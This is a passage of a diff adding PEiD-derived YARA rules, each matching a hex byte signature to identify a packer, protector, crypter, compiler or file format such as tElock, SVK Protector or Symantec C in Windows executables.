+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00}
+    condition:
+        $a
+}
+rule PEiD_02144_Splash_Bitmap_v1_00__With_Unpack_Code_____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 (With Unpack Code) -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+    condition:
+        $a
+}
+rule PEiD_02145_Splash_Bitmap_v1_00____BoB___Bobsoft_
+{
+    meta:
+        description = "[Splash Bitmap v1.00 -> BoB / Bobsoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+    condition:
+        $a
+}
+rule PEiD_02146_SPLayer_v0_08_
+{
+    meta:
+        description = "[SPLayer v0.08]"
+        ep_only = "false"
+    strings:
+        $a = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02147_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC}
+    condition:
+        $a
+}
+rule PEiD_02148_Splice_1_1___by_Tw1sted_L0gic_
+{
+    meta:
+        description = "[Splice 1.1 - by Tw1sted L0gic]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+    condition:
+        $a
+}
+rule PEiD_02149_ST_Protector_V1_5____Silent_Software_
+{
+    meta:
+        description = "[ST Protector V1.5 -> Silent Software]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02150_StarForce_Protection_Driver____Protection_Technology__h__
+{
+    meta:
+        description = "[StarForce Protection Driver -> Protection Technology (h)]"
+        ep_only = "true"
+    strings:
+        $a = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+/*
+rule PEiD_02151_StarForce_V3_X____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+/*
+rule PEiD_02152_StarForce_V3_X_DLL____StarForce_Copy_Protection_System_
+{
+    meta:
+        description = "[StarForce V3.X DLL -> StarForce Copy Protection System]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_02153_Stealth_PE_v1_1_
+{
+    meta:
+        description = "[Stealth PE v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+    condition:
+        $a
+}
+
+rule PEiD_02154_STNPEE_1_13_
+{
+    meta:
+        description = "[STNPEE 1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02155_Stone_s_PE_Encryptor_v1_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+    condition:
+        $a
+}
+rule PEiD_02156_Stone_s_PE_Encryptor_v1_13_
+{
+    meta:
+        description = "[Stone's PE Encryptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+    condition:
+        $a
+}
+rule PEiD_02157_Stone_s_PE_Encryptor_v2_0_
+{
+    meta:
+        description = "[Stone's PE Encryptor v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+    condition:
+        $a
+}
+rule PEiD_02158_Stone_s_PE_Encruptor_v1_13_
+{
+    meta:
+        description = "[Stone`s PE Encruptor v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+    condition:
+        $a
+}
+
+rule PEiD_02159_Stony_Brook_Pascal_v6_14_
+{
+    meta:
+        description = "[Stony Brook Pascal v6.14]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+    condition:
+        $a
+}
+rule PEiD_02160_Stony_Brook_Pascal__v7_0_
+{
+    meta:
+        description = "[Stony Brook Pascal+ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {31 ED 9A ?? ?? ?? ?? 55 89 E5 81 EC ?? ?? B8 ?? ?? 0E 50 9A ?? ?? ?? ?? BE ?? ?? 1E 0E BF ?? ?? 1E 07 1F FC}
+    condition:
+        $a
+}
+/*
+rule PEiD_02161_Stranik_1_3_Modula_C_Pascal_
+{
+    meta:
+        description = "[Stranik 1.3 Modula/C/Pascal]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_02162_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4}
+    condition:
+        $a
+}
+rule PEiD_02163_STUD_RC4_1_0_Jamie_Edition__ScanTime_UnDetectable____by_MarjinZ_
+{
+    meta:
+        description = "[STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ]"
+        ep_only = "true"
+    strings:
+        $a = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+    condition:
+        $a
+}
+rule PEiD_02164_SuckStop_v1_11_
+{
+    meta:
+        description = "[SuckStop v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+    condition:
+        $a
+}
+
+rule PEiD_02165_Sun_Icon_Graphics_format_
+{
+    meta:
+        description = "[Sun Icon Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {2F 2A 20 46 6F 72 6D 61 74 5F 76 65 72 73 69 6F 6E 3D 31 2C}
+    condition:
+        $a
+}
+
+rule PEiD_02166_SuperDAT_
+{
+    meta:
+        description = "[SuperDAT]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+rule PEiD_02167_SVK_Protector_1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+
+rule PEiD_02168_SVK_Protector_1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector 1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+    condition:
+        $a
+}
+rule PEiD_02169_SVK_Protector_v1_32__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.32 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02170_SVK_Protector_v1_3x__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[SVK Protector v1.3x (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02171_SVK_Protector_v1_051_
+{
+    meta:
+        description = "[SVK-Protector v1.051]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02172_SVK_Protector_v1_11_
+{
+    meta:
+        description = "[SVK-Protector v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+    condition:
+        $a
+}
+rule PEiD_02173_SVK_Protector_v1_32_
+{
+    meta:
+        description = "[SVK-Protector v1.32]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+    condition:
+        $a
+}
+
+rule PEiD_02174_SVKP_v1_32____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.32 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61}
+    condition:
+        $a
+}
+rule PEiD_02175_SVKP_v1_42____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.42 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC EC 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a
+}
+
+rule PEiD_02176_SVKP_v1_43____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.43 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC CE 05 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a
+}
+rule PEiD_02177_Symantec_C_v2_10__v4_00_or_Zortech_C_v3_0r1_
+{
+    meta:
+        description = "[Symantec C v2.10, v4.00 or Zortech C v3.0r1]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_02178_Symantec_C_v4_00___Libraries_
+{
+    meta:
+        description = "[Symantec C v4.00 + Libraries]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+    condition:
+        $a
+}
+rule PEiD_02179_Symantec_Visual_Cafe_v3_0_
+{
+    meta:
+        description = "[Symantec Visual Cafe v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+    condition:
+        $a
+}
+
+rule PEiD_02180_Symantec_WinFax_PRO_7_5_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 7.5 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 80}
+    condition:
+        $a
+}
+
+rule PEiD_02181_Symantec_WinFax_PRO_8_3_Coverpage_Quick_CoverPage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage Quick CoverPage]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+rule PEiD_02182_Symantec_WinFax_PRO_8_3_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 6C}
+    condition:
+        $a
+}
+
+rule PEiD_02183_T_PACK_v0_5c__m1_
+{
+    meta:
+        description = "[T-PACK v0.5c -m1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+    condition:
+        $a
+}
+rule PEiD_02184_T_PACK_v0_5c__m2_
+{
+    meta:
+        description = "[T-PACK v0.5c -m2]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+    condition:
+        $a
+}
+
+rule PEiD_02185_TASM___MASM_
+{
+    meta:
+        description = "[TASM / MASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02186_tElock_0_51____tE__
+{
+    meta:
+        description = "[tElock 0.51 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+    condition:
+        $a
+}
+rule PEiD_02187_tElock_0_96____tE__
+{
+    meta:
+        description = "[tElock 0.96 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_02188_tElock_0_98____tE__
+{
+    meta:
+        description = "[tElock 0.98 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_02189_tElock_0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock 0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02190_tElock_0_98_Special_Build____forgot___heXer_
+{
+    meta:
+        description = "[tElock 0.98 Special Build -> forgot & heXer]"
+        ep_only = "true"
+    strings:
+        $a = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+    condition:
+        $a
+}
+/*
+rule PEiD_02191_tElock_0_99___1_0_private____tE__
+{
+    meta:
+        description = "[tElock 0.99 - 1.0 private -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02192_tElock_0_99____tE__
+{
+    meta:
+        description = "[tElock 0.99 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+    condition:
+        $a
+}
+
+rule PEiD_02193_tElock_0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock 0.99 Special Build -> heXer & forgot]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_02194_tElock_0_99_
+{
+    meta:
+        description = "[tElock 0.99]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02195_tElock_0_99c__Private_ECLIPSE_____tE__
+{
+    meta:
+        description = "[tElock 0.99c (Private ECLIPSE) -> tE!]"
+        ep_only = "true"
+    strings:
